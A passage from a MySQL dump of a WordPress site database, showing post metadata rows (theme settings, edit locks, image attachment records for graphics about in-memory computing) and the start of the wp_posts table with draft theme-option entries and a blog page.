5,'_edit_lock','1405940288:1'),(783,155,'_kad_blog_head','none'),(784,155,'_kad_post_summery','text'),(785,155,'_kad_sidebar_choice','sidebar-primary'),(786,155,'_kad_blog_author','no'),(787,155,'_kad_blog_carousel_similar','no'),(788,158,'_edit_last','1'),(789,158,'_edit_lock','1405940404:1'),(792,158,'_kad_blog_head','none'),(793,158,'_kad_post_summery','text'),(794,158,'_kad_sidebar_choice','sidebar-primary'),(795,158,'_kad_blog_author','no'),(796,158,'_kad_blog_carousel_similar','no'),(797,160,'_edit_last','1'),(798,160,'_edit_lock','1405940568:1'),(801,160,'_kad_blog_head','none'),(802,160,'_kad_post_summery','text'),(803,160,'_kad_sidebar_choice','sidebar-primary'),(804,160,'_kad_blog_author','no'),(805,160,'_kad_blog_carousel_similar','no'),(806,161,'_edit_last','1'),(807,161,'_edit_lock','1405940662:1'),(810,161,'_kad_blog_head','none'),(811,161,'_kad_post_summery','text'),(812,161,'_kad_sidebar_choice','sidebar-primary'),(813,161,'_kad_blog_author','no'),(814,161,'_kad_blog_carousel_similar','no'),(815,164,'_edit_last','1'),(816,164,'_edit_lock','1405941003:1'),(819,164,'_kad_blog_head','none'),(820,164,'_kad_post_summery','text'),(821,164,'_kad_sidebar_choice','sidebar-primary'),(822,164,'_kad_blog_author','no'),(823,164,'_kad_blog_carousel_similar','no'),(824,167,'_edit_last','1'),(825,167,'_edit_lock','1405941137:1'),(828,167,'_kad_blog_head','none'),(829,167,'_kad_post_summery','text'),(830,167,'_kad_sidebar_choice','sidebar-primary'),(831,167,'_kad_blog_author','no'),(832,167,'_kad_blog_carousel_similar','no'),(833,169,'_edit_last','1'),(834,169,'_edit_lock','1405941269:1'),(837,169,'_kad_blog_head','none'),(838,169,'_kad_post_summery','text'),(839,169,'_kad_sidebar_choice','sidebar-primary'),(840,169,'_kad_blog_author','no'),(841,169,'_kad_blog_carousel_similar','no'),(842,172,'_edit_last','1'),(843,172,'_edit_lock','1405941415:1'),(846,172,'_kad_blog_head','none'),(847,172,'_kad_post_summery','text'),(848,172,'_kad_sidebar_choice','sidebar-primary'),(849,172,'_kad_blog_author','no'),(850,172,'_kad_blog_carousel_similar','no'),(851,174,'_edit_last','1'),(852,174,'_edit_lock','1405941859:1'),(855,174,'_kad_blog_head','none'),(856,174,'_kad_post_summery','text'),(857,174,'_kad_sidebar_choice','sidebar-primary'),(858,174,'_kad_blog_author','no'),(859,174,'_kad_blog_carousel_similar','no'),(860,176,'_edit_last','1'),(861,176,'_edit_lock','1405941985:1'),(864,176,'_kad_blog_head','none'),(865,176,'_kad_post_summery','text'),(866,176,'_kad_sidebar_choice','sidebar-primary'),(867,176,'_kad_blog_author','no'),(868,176,'_kad_blog_carousel_similar','no'),(869,178,'_edit_last','1'),(870,178,'_edit_lock','1405942182:1'),(873,178,'_kad_blog_head','none'),(874,178,'_kad_post_summery','text'),(875,178,'_kad_sidebar_choice','sidebar-primary'),(876,178,'_kad_blog_author','no'),(877,178,'_kad_blog_carousel_similar','no'),(878,181,'_edit_last','1'),(879,181,'_edit_lock','1405942436:1'),(882,181,'_kad_blog_head','none'),(883,181,'_kad_post_summery','text'),(884,181,'_kad_sidebar_choice','sidebar-primary'),(885,181,'_kad_blog_author','no'),(886,181,'_kad_blog_carousel_similar','no'),(887,183,'_edit_last','1'),(888,183,'_edit_lock','1405942516:1'),(891,183,'_kad_blog_head','none'),(892,183,'_kad_post_summery','text'),(893,183,'_kad_sidebar_choice','sidebar-primary'),(894,183,'_kad_blog_author','no'),(895,183,'_kad_blog_carousel_similar','no'),(896,186,'_edit_last','1'),(897,186,'_edit_lock','1405943673:1'),(900,186,'_kad_blog_head','none'),(901,186,'_kad_post_summery','text'),(902,186,'_kad_sidebar_choice','sidebar-primary'),(903,186,'_kad_blog_author','no'),(904,186,'_kad_blog_carousel_similar','no'),(905,187,'_edit_last','1'),(906,187,'_edit_lock','1405944044:1'),(909,187,'_kad_blog_head','none'),(910,187,'_kad_post_summery','text'),(911,187,'_kad_sidebar_choice','sidebar-primary'),(912,187,'_kad_blog_author','no'),(913,187,'_kad_blog_carousel_similar','no'),(914,191,'_edit_last','1'),(915,191,'_edit_lock','1405944150:1'),(918,191,'_kad_blog_head','none'),(919,191,'_kad_post_summery','text'),(920,191,'_kad_sidebar_choice','sidebar-primary'),(921,191,'_kad_blog_author','no'),(922,191,'_kad_blog_carousel_similar','no'),(923,194,'_edit_last','1'),(924,194,'_edit_lock','1405944428:1'),(927,194,'_kad_blog_head','none'),(928,194,'_kad_post_summery','text'),(929,194,'_kad_sidebar_choice','sidebar-primary'),(930,194,'_kad_blog_author','no'),(931,194,'_kad_blog_carousel_similar','no'),(932,191,'_oembed_8753a4f7ee2a8f29e43720708a35c81a','{{unknown}}'),(933,191,'_oembed_e808c7dc623104d26a89f65735b16b81','{{unknown}}'),(934,196,'_edit_last','1'),(937,196,'_kad_blog_head','none'),(938,196,'_kad_post_summery','text'),(939,196,'_kad_sidebar_choice','sidebar-primary'),(940,196,'_kad_blog_author','no'),(941,196,'_kad_blog_carousel_similar','no'),(942,196,'_edit_lock','1405944584:1'),(943,199,'_edit_last','1'),(944,199,'_edit_lock','1405944727:1'),(947,199,'_kad_blog_head','none'),(948,199,'_kad_post_summery','text'),(949,199,'_kad_sidebar_choice','sidebar-primary'),(950,199,'_kad_blog_author','no'),(951,199,'_kad_blog_carousel_similar','no'),(952,200,'_edit_last','1'),(953,200,'_edit_lock','1405944855:1'),(956,200,'_kad_blog_head','none'),(957,200,'_kad_post_summery','text'),(958,200,'_kad_sidebar_choice','sidebar-primary'),(959,200,'_kad_blog_author','no'),(960,200,'_kad_blog_carousel_similar','no'),(961,204,'_edit_last','1'),(962,204,'_edit_lock','1405944885:1'),(965,204,'_kad_blog_head','none'),(966,204,'_kad_post_summery','text'),(967,204,'_kad_sidebar_choice','sidebar-primary'),(968,204,'_kad_blog_author','no'),(969,204,'_kad_blog_carousel_similar','no'),(970,200,'_oembed_deb3dff71a7f8d65a8681e024be6022e','{{unknown}}'),(971,200,'_oembed_66c58802928bbb3006a70171e8dcb230','{{unknown}}'),(972,199,'_oembed_456ef6af5de9da5f0edd3aae7bbeff7d','{{unknown}}'),(973,199,'_oembed_dcdb786c274e8a5131702b53f19eb395','{{unknown}}'),(974,199,'_oembed_87e30613ffc5a4778cf679a1b4494c05','{{unknown}}'),(975,199,'_oembed_84e5268988fdf4f993e2a6b6686a6639','{{unknown}}'),(976,199,'_oembed_4ee995f04dc0e8ac59c103c12a15564a','{{unknown}}'),(977,199,'_oembed_78509500abe051e97cbfcb597ca1f988','{{unknown}}'),(978,207,'_edit_last','1'),(979,207,'_edit_lock','1405945194:1'),(982,207,'_kad_blog_head','none'),(983,207,'_kad_post_summery','text'),(984,207,'_kad_sidebar_choice','sidebar-primary'),(985,207,'_kad_blog_author','no'),(986,207,'_kad_blog_carousel_similar','no'),(987,208,'_edit_last','1'),(988,208,'_edit_lock','1405945305:1'),(991,208,'_kad_blog_head','none'),(992,208,'_kad_post_summery','text'),(993,208,'_kad_sidebar_choice','sidebar-primary'),(994,208,'_kad_blog_author','no'),(995,208,'_kad_blog_carousel_similar','no'),(996,212,'_edit_last','1'),(997,212,'_edit_lock','1405945736:1'),(1000,212,'_kad_blog_head','none'),(1001,212,'_kad_post_summery','text'),(1002,212,'_kad_sidebar_choice','sidebar-primary'),(1003,212,'_kad_blog_author','no'),(1004,212,'_kad_blog_carousel_similar','no'),(1005,214,'_edit_last','1'),(1008,214,'_kad_blog_head','none'),(1009,214,'_kad_post_summery','text'),(1010,214,'_kad_sidebar_choice','sidebar-primary'),(1011,214,'_kad_blog_author','no'),(1012,214,'_kad_blog_carousel_similar','no'),(1013,214,'_edit_lock','1405945901:1'),(1014,218,'_edit_last','1'),(1015,218,'_edit_lock','1405945930:1'),(1018,218,'_kad_blog_head','none'),(1019,218,'_kad_post_summery','text'),(1020,218,'_kad_sidebar_choice','sidebar-primary'),(1021,218,'_kad_blog_author','no'),(1022,218,'_kad_blog_carousel_similar','no'),(1023,220,'_edit_last','1'),(1024,220,'_edit_lock','1405946185:1'),(1027,220,'_kad_blog_head','none'),(1028,220,'_kad_post_summery','text'),(1029,220,'_kad_sidebar_choice','sidebar-primary'),(1030,220,'_kad_blog_author','no'),(1031,220,'_kad_blog_carousel_similar','no'),(1032,221,'_edit_last','1'),(1033,221,'_edit_lock','1405946290:1'),(1036,221,'_kad_blog_head','none'),(1037,221,'_kad_post_summery','text'),(1038,221,'_kad_sidebar_choice','sidebar-primary'),(1039,221,'_kad_blog_author','no'),(1040,221,'_kad_blog_carousel_similar','no'),(1041,225,'_edit_last','1'),(1042,225,'_edit_lock','1405946380:1'),(1045,225,'_kad_blog_head','none'),(1046,225,'_kad_post_summery','text'),(1047,225,'_kad_sidebar_choice','sidebar-primary'),(1048,225,'_kad_blog_author','no'),(1049,225,'_kad_blog_carousel_similar','no'),(1050,227,'_edit_last','1'),(1051,227,'_edit_lock','1405946558:1'),(1054,227,'_kad_blog_head','none'),(1055,227,'_kad_post_summery','text'),(1056,227,'_kad_sidebar_choice','sidebar-primary'),(1057,227,'_kad_blog_author','no'),(1058,227,'_kad_blog_carousel_similar','no'),(1059,229,'_edit_last','1'),(1060,229,'_edit_lock','1405946693:1'),(1063,229,'_kad_blog_head','none'),(1064,229,'_kad_post_summery','text'),(1065,229,'_kad_sidebar_choice','sidebar-primary'),(1066,229,'_kad_blog_author','no'),(1067,229,'_kad_blog_carousel_similar','no'),(1068,231,'_edit_last','1'),(1069,231,'_edit_lock','1405946885:1'),(1072,231,'_kad_blog_head','none'),(1073,231,'_kad_post_summery','text'),(1074,231,'_kad_sidebar_choice','sidebar-primary'),(1075,231,'_kad_blog_author','no'),(1076,231,'_kad_blog_carousel_similar','no'),(1077,234,'_edit_last','1'),(1080,234,'_kad_blog_head','none'),(1081,234,'_kad_post_summery','text'),(1082,234,'_kad_sidebar_choice','sidebar-primary'),(1083,234,'_kad_blog_author','no'),(1084,234,'_kad_blog_carousel_similar','no'),(1085,234,'_edit_lock','1405947010:1'),(1086,237,'_edit_last','1'),(1087,237,'_edit_lock','1405947375:1'),(1090,237,'_kad_blog_head','none'),(1091,237,'_kad_post_summery','text'),(1092,237,'_kad_sidebar_choice','sidebar-primary'),(1093,237,'_kad_blog_author','no'),(1094,237,'_kad_blog_carousel_similar','no'),(1095,240,'_edit_last','1'),(1096,240,'_edit_lock','1405947380:1'),(1099,240,'_kad_blog_head','none'),(1100,240,'_kad_post_summery','text'),(1101,240,'_kad_sidebar_choice','sidebar-primary'),(1102,240,'_kad_blog_author','no'),(1103,240,'_kad_blog_carousel_similar','no'),(1104,242,'_edit_last','1'),(1105,242,'_edit_lock','1406122257:1'),(1106,243,'_wp_attached_file','2014/07/in-memory-action-plan_thumb.jpg'),(1107,243,'_wp_attachment_metadata','a:5:{s:5:\"width\";i:537;s:6:\"height\";i:421;s:4:\"file\";s:39:\"2014/07/in-memory-action-plan_thumb.jpg\";s:5:\"sizes\";a:3:{s:9:\"thumbnail\";a:4:{s:4:\"file\";s:39:\"in-memory-action-plan_thumb-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:6:\"medium\";a:4:{s:4:\"file\";s:39:\"in-memory-action-plan_thumb-300x235.jpg\";s:5:\"width\";i:300;s:6:\"height\";i:235;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"widget-thumb\";a:4:{s:4:\"file\";s:37:\"in-memory-action-plan_thumb-80x50.jpg\";s:5:\"width\";i:80;s:6:\"height\";i:50;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:10:{s:8:\"aperture\";i:0;s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:0:\"\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";i:0;s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";i:0;s:3:\"iso\";i:0;s:13:\"shutter_speed\";i:0;s:5:\"title\";s:0:\"\";}}'),(1110,242,'_kad_blog_head','none'),(1111,242,'_kad_post_summery','text'),(1112,242,'_kad_sidebar_choice','sidebar-primary'),(1113,242,'_kad_blog_author','no'),(1114,242,'_kad_blog_carousel_similar','no'),(1115,247,'_wp_attached_file','2014/07/in-memory-action-plan_thumb1.jpg'),(1116,247,'_wp_attachment_metadata','a:5:{s:5:\"width\";i:537;s:6:\"height\";i:421;s:4:\"file\";s:40:\"2014/07/in-memory-action-plan_thumb1.jpg\";s:5:\"sizes\";a:3:{s:9:\"thumbnail\";a:4:{s:4:\"file\";s:40:\"in-memory-action-plan_thumb1-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:6:\"medium\";a:4:{s:4:\"file\";s:40:\"in-memory-action-plan_thumb1-300x235.jpg\";s:5:\"width\";i:300;s:6:\"height\";i:235;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"widget-thumb\";a:4:{s:4:\"file\";s:38:\"in-memory-action-plan_thumb1-80x50.jpg\";s:5:\"width\";i:80;s:6:\"height\";i:50;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:10:{s:8:\"aperture\";i:0;s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:0:\"\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";i:0;s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";i:0;s:3:\"iso\";i:0;s:13:\"shutter_speed\";i:0;s:5:\"title\";s:0:\"\";}}'),(1117,251,'_wp_attached_file','2014/07/memory_action-_plan.jpg'),(1118,251,'_wp_attachment_metadata','a:5:{s:5:\"width\";i:521;s:6:\"height\";i:387;s:4:\"file\";s:31:\"2014/07/memory_action-_plan.jpg\";s:5:\"sizes\";a:3:{s:9:\"thumbnail\";a:4:{s:4:\"file\";s:31:\"memory_action-_plan-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:6:\"medium\";a:4:{s:4:\"file\";s:31:\"memory_action-_plan-300x222.jpg\";s:5:\"width\";i:300;s:6:\"height\";i:222;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"widget-thumb\";a:4:{s:4:\"file\";s:29:\"memory_action-_plan-80x50.jpg\";s:5:\"width\";i:80;s:6:\"height\";i:50;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:10:{s:8:\"aperture\";i:0;s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:0:\"\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";i:0;s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";i:0;s:3:\"iso\";i:0;s:13:\"shutter_speed\";i:0;s:5:\"title\";s:0:\"\";}}'),(1121,253,'_edit_last','1'),(1122,253,'_edit_lock','1406122864:1'),(1125,253,'_kad_blog_head','none'),(1126,253,'_kad_post_summery','text'),(1127,253,'_kad_sidebar_choice','sidebar-primary'),(1128,253,'_kad_blog_author','no'),(1129,253,'_kad_blog_carousel_similar','no'),(1130,256,'_edit_last','1'),(1131,256,'_edit_lock','1406123189:1'),(1134,256,'_kad_blog_head','none'),(1135,256,'_kad_post_summery','text'),(1136,256,'_kad_sidebar_choice','sidebar-primary'),(1137,256,'_kad_blog_author','no'),(1138,256,'_kad_blog_carousel_similar','no'),(1145,266,'_wp_attached_file','2014/07/business-impact-of-in-memory.jpg'),(1146,266,'_wp_attachment_metadata','a:5:{s:5:\"width\";i:540;s:6:\"height\";i:389;s:4:\"file\";s:40:\"2014/07/business-impact-of-in-memory.jpg\";s:5:\"sizes\";a:3:{s:9:\"thumbnail\";a:4:{s:4:\"file\";s:40:\"business-impact-of-in-memory-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:6:\"medium\";a:4:{s:4:\"file\";s:40:\"business-impact-of-in-memory-300x216.jpg\";s:5:\"width\";i:300;s:6:\"height\";i:216;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"widget-thumb\";a:4:{s:4:\"file\";s:38:\"business-impact-of-in-memory-80x50.jpg\";s:5:\"width\";i:80;s:6:\"height\";i:50;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:10:{s:8:\"aperture\";i:0;s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:0:\"\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";i:0;s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";i:0;s:3:\"iso\";i:0;s:13:\"shutter_speed\";i:0;s:5:\"title\";s:0:\"\";}}'),(1147,267,'_wp_attached_file','2014/07/taxonomy-of-in-memory_thumb.jpg'),(1148,267,'_wp_attachment_metadata','a:5:{s:5:\"width\";i:521;s:6:\"height\";i:399;s:4:\"file\";s:39:\"2014/07/taxonomy-of-in-memory_thumb.jpg\";s:5:\"sizes\";a:3:{s:9:\"thumbnail\";a:4:{s:4:\"file\";s:39:\"taxonomy-of-in-memory_thumb-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:6:\"medium\";a:4:{s:4:\"file\";s:39:\"taxonomy-of-in-memory_thumb-300x229.jpg\";s:5:\"width\";i:300;s:6:\"height\";i:229;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"widget-thumb\";a:4:{s:4:\"file\";s:37:\"taxonomy-of-in-memory_thumb-80x50.jpg\";s:5:\"width\";i:80;s:6:\"height\";i:50;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:10:{s:8:\"aperture\";i:0;s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:0:\"\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";i:0;s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";i:0;s:3:\"iso\";i:0;s:13:\"shutter_speed\";i:0;s:5:\"title\";s:0:\"\";}}'),(1149,268,'_wp_attached_file','2014/07/drivers-of-in-memory_thumb.jpg'),(1150,268,'_wp_attachment_metadata','a:5:{s:5:\"width\";i:550;s:6:\"height\";i:419;s:4:\"file\";s:38:\"2014/07/drivers-of-in-memory_thumb.jpg\";s:5:\"sizes\";a:3:{s:9:\"thumbnail\";a:4:{s:4:\"file\";s:38:\"drivers-of-in-memory_thumb-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:6:\"medium\";a:4:{s:4:\"file\";s:38:\"drivers-of-in-memory_thumb-300x228.jpg\";s:5:\"width\";i:300;s:6:\"height\";i:228;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"widget-thumb\";a:4:{s:4:\"file\";s:36:\"drivers-of-in-memory_thumb-80x50.jpg\";s:5:\"width\";i:80;s:6:\"height\";i:50;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:10:{s:8:\"aperture\";i:0;s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:0:\"\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";i:0;s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";i:0;s:3:\"iso\";i:0;s:13:\"shutter_speed\";i:0;s:5:\"title\";s:0:\"\";}}'),(1153,270,'_wp_attached_file','2014/07/in-memory-myths3_thumb.jpg'),(1154,270,'_wp_attachment_metadata','a:5:{s:5:\"width\";i:571;s:6:\"height\";i:441;s:4:\"file\";s:34:\"2014/07/in-memory-myths3_thumb.jpg\";s:5:\"sizes\";a:3:{s:9:\"thumbnail\";a:4:{s:4:\"file\";s:34:\"in-memory-myths3_thumb-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:6:\"medium\";a:4:{s:4:\"file\";s:34:\"in-memory-myths3_thumb-300x231.jpg\";s:5:\"width\";i:300;s:6:\"height\";i:231;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"widget-thumb\";a:4:{s:4:\"file\";s:32:\"in-memory-myths3_thumb-80x50.jpg\";s:5:\"width\";i:80;s:6:\"height\";i:50;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:10:{s:8:\"aperture\";i:0;s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:0:\"\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";i:0;s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";i:0;s:3:\"iso\";i:0;s:13:\"shutter_speed\";i:0;s:5:\"title\";s:0:\"\";}}'),(1155,271,'_wp_attached_file','2014/07/what-is-in-memory_thumb.jpg'),(1156,271,'_wp_attachment_metadata','a:5:{s:5:\"width\";i:538;s:6:\"height\";i:396;s:4:\"file\";s:35:\"2014/07/what-is-in-memory_thumb.jpg\";s:5:\"sizes\";a:3:{s:9:\"thumbnail\";a:4:{s:4:\"file\";s:35:\"what-is-in-memory_thumb-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:6:\"medium\";a:4:{s:4:\"file\";s:35:\"what-is-in-memory_thumb-300x220.jpg\";s:5:\"width\";i:300;s:6:\"height\";i:220;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"widget-thumb\";a:4:{s:4:\"file\";s:33:\"what-is-in-memory_thumb-80x50.jpg\";s:5:\"width\";i:80;s:6:\"height\";i:50;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:10:{s:8:\"aperture\";i:0;s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:0:\"\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";i:0;s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";i:0;s:3:\"iso\";i:0;s:13:\"shutter_speed\";i:0;s:5:\"title\";s:0:\"\";}}');

/*Table structure for table `wp_posts` */

CREATE TABLE `wp_posts` (
  `ID` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
  `post_author` bigint(20) unsigned NOT NULL DEFAULT '0',
  `post_date` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `post_date_gmt` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `post_content` longtext NOT NULL,
  `post_title` text NOT NULL,
  `post_excerpt` text NOT NULL,
  `post_status` varchar(20) NOT NULL DEFAULT 'publish',
  `comment_status` varchar(20) NOT NULL DEFAULT 'open',
  `ping_status` varchar(20) NOT NULL DEFAULT 'open',
  `post_password` varchar(20) NOT NULL DEFAULT '',
  `post_name` varchar(200) NOT NULL DEFAULT '',
  `to_ping` text NOT NULL,
  `pinged` text NOT NULL,
  `post_modified` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `post_modified_gmt` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `post_content_filtered` longtext NOT NULL,
  `post_parent` bigint(20) unsigned NOT NULL DEFAULT '0',
  `guid` varchar(255) NOT NULL DEFAULT '',
  `menu_order` int(11) NOT NULL DEFAULT '0',
  `post_type` varchar(20) NOT NULL DEFAULT 'post',
  `post_mime_type` varchar(100) NOT NULL DEFAULT '',
  `comment_count` bigint(20) NOT NULL DEFAULT '0',
  PRIMARY KEY (`ID`),
  KEY `post_name` (`post_name`),
  KEY `type_status_date` (`post_type`,`post_status`,`post_date`,`ID`),
  KEY `post_parent` (`post_parent`),
  KEY `post_author` (`post_author`)
) ENGINE=InnoDB AUTO_INCREMENT=273 DEFAULT CHARSET=utf8;

/*Data for the table `wp_posts` */

insert  into `wp_posts`(`ID`,`post_author`,`post_date`,`post_date_gmt`,`post_content`,`post_title`,`post_excerpt`,`post_status`,`comment_status`,`ping_status`,`post_password`,`post_name`,`to_ping`,`pinged`,`post_modified`,`post_modified_gmt`,`post_content_filtered`,`post_parent`,`guid`,`menu_order`,`post_type`,`post_mime_type`,`comment_count`) values (5,1,'2013-08-26 06:35:42','0000-00-00 00:00:00','','Custom Logo Uploader','','draft','closed','closed','','of-custom_logo_uploader','','','2013-08-26 06:35:42','0000-00-00 00:00:00','',0,'http://localhost/wordpress/?post_type=cybrchmpsthmoption&p=5',0,'cybrchmpsthmoption','',0),(6,1,'2013-08-26 06:35:42','0000-00-00 00:00:00','','Favicon Uploader','','draft','closed','closed','','of-favicon_uploader','','','2013-08-26 06:35:42','0000-00-00 00:00:00','',0,'http://localhost/wordpress/?post_type=cybrchmpsthmoption&p=6',0,'cybrchmpsthmoption','',0),(7,1,'2013-08-26 06:35:42','0000-00-00 00:00:00','','Apple Touch Uploader','','draft','closed','closed','','of-apple_touch_uploader','','','2013-08-26 06:35:42','0000-00-00 00:00:00','',0,'http://localhost/wordpress/?post_type=cybrchmpsthmoption&p=7',0,'cybrchmpsthmoption','',0),(8,1,'2013-08-26 06:35:43','0000-00-00 00:00:00','','Image One Slide','','draft','closed','closed','','of-image_one_slide','','','2013-08-26 06:35:43','0000-00-00 00:00:00','',0,'http://localhost/wordpress/?post_type=cybrchmpsthmoption&p=8',0,'cybrchmpsthmoption','',0),(9,1,'2013-08-26 06:35:43','0000-00-00 00:00:00','','Image Two Slide','','draft','closed','closed','','of-image_two_slide','','','2013-08-26 06:35:43','0000-00-00 00:00:00','',0,'http://localhost/wordpress/?post_type=cybrchmpsthmoption&p=9',0,'cybrchmpsthmoption','',0),(10,1,'2013-08-26 06:35:43','0000-00-00 00:00:00','','Image Three Slide','','draft','closed','closed','','of-image_three_slide','','','2013-08-26 06:35:43','0000-00-00 00:00:00','',0,'http://localhost/wordpress/?post_type=cybrchmpsthmoption&p=10',0,'cybrchmpsthmoption','',0),(11,1,'2013-08-26 06:35:43','0000-00-00 00:00:00','','Cyberchimps Blog Portfolio Lite Image One','','draft','closed','closed','','of-cyberchimps_blog_portfolio_lite_image_one','','','2013-08-26 06:35:43','0000-00-00 00:00:00','',0,'http://localhost/wordpress/?post_type=cybrchmpsthmoption&p=11',0,'cybrchmpsthmoption','',0),(12,1,'2013-08-26 06:35:43','0000-00-00 00:00:00','','Cyberchimps Blog Portfolio Lite Image Two','','draft','closed','closed','','of-cyberchimps_blog_portfolio_lite_image_two','','','2013-08-26 06:35:43','0000-00-00 00:00:00','',0,'http://localhost/wordpress/?post_type=cybrchmpsthmoption&p=12',0,'cybrchmpsthmoption','',0),(13,1,'2013-08-26 06:35:43','0000-00-00 00:00:00','','Cyberchimps Blog Portfolio Lite Image Three','','draft','closed','closed','','of-cyberchimps_blog_portfolio_lite_image_three','','','2013-08-26 06:35:43','0000-00-00 00:00:00','',0,'http://localhost/wordpress/?post_type=cybrchmpsthmoption&p=13',0,'cybrchmpsthmoption','',0),(14,1,'2013-08-26 06:35:43','0000-00-00 00:00:00','','Cyberchimps Blog Portfolio Lite Image Four','','draft','closed','closed','','of-cyberchimps_blog_portfolio_lite_image_four','','','2013-08-26 06:35:43','0000-00-00 00:00:00','',0,'http://localhost/wordpress/?post_type=cybrchmpsthmoption&p=14',0,'cybrchmpsthmoption','',0),(15,1,'2013-08-26 06:35:43','0000-00-00 00:00:00','','Cyberchimps Blog Boxes Lite Image One','','draft','closed','closed','','of-cyberchimps_blog_boxes_lite_image_one','','','2013-08-26 06:35:43','0000-00-00 00:00:00','',0,'http://localhost/wordpress/?post_type=cybrchmpsthmoption&p=15',0,'cybrchmpsthmoption','',0),(16,1,'2013-08-26 06:35:43','0000-00-00 00:00:00','','Cyberchimps Blog Boxes Lite Image Two','','draft','closed','closed','','of-cyberchimps_blog_boxes_lite_image_two','','','2013-08-26 06:35:43','0000-00-00 00:00:00','',0,'http://localhost/wordpress/?post_type=cybrchmpsthmoption&p=16',0,'cybrchmpsthmoption','',0),(17,1,'2013-08-26 06:35:43','0000-00-00 00:00:00','','Cyberchimps Blog Boxes Lite Image Three','','draft','closed','closed','','of-cyberchimps_blog_boxes_lite_image_three','','','2013-08-26 06:35:43','0000-00-00 00:00:00','',0,'http://localhost/wordpress/?post_type=cybrchmpsthmoption&p=17',0,'cybrchmpsthmoption','',0),(25,1,'2013-08-26 07:32:38','2013-08-26 07:32:38','','Blog','','publish','open','open','','blog','','','2013-08-26 09:11:53','2013-08-26 09:11:53','',0,'http://localhost/wordpress/?page_id=25',0,'page','',1),(26,1,'2013-08-26 07:32:38','2013-08-26 07:32:38','','Blog','','inherit','open','open','','25-revision-v1','','','2013-08-26 07:32:38','2013-08-26 07:32:38','',25,'http://localhost/wordpress/?p=26',0,'revision','',0),(43,1,'2013-08-26 10:46:44','0000-00-00 00:00:00','','Box Image1','','draft','closed','closed','','of-box_image1','','','2013-08-26 10:46:44','0000-00-00 00:00:00','',0,'http://localhost/wordpress/?post_type=optionsframework&p=43',0,'optionsframework','',0),(44,1,'2013-08-26 10:46:45','0000-00-00 00:00:00','','Box Image2','','draft','closed','closed','','of-box_image2','','','2013-08-26 10:46:45','0000-00-00 00:00:00','',0,'http://localhost/wordpress/?post_type=optionsframework&p=44',0,'optionsframework','',0),(45,1,'2013-08-26 10:46:45','0000-00-00 00:00:00','','Box Image3','','draft','closed','closed','','of-box_image3','','','2013-08-26 10:46:45','0000-00-00 00:00:00','',0,'http://localhost/wordpress/?post_type=optionsframework&p=45',0,'optionsframework','',0),(46,1,'2013-08-26 10:46:45','0000-00-00 00:00:00','','Box Image4','','draft','closed','closed','','of-box_image4','','','2013-08-26 10:46:45','0000-00-00 00:00:00','',0,'http://localhost/wordpress/?post_type=optionsframework&p=46',0,'optionsframework','',0),(47,1,'2013-08-26 10:46:45','0000-00-00 00:00:00','','Slider Image1','','draft','closed','closed','','of-slider_image1','','','2013-08-26 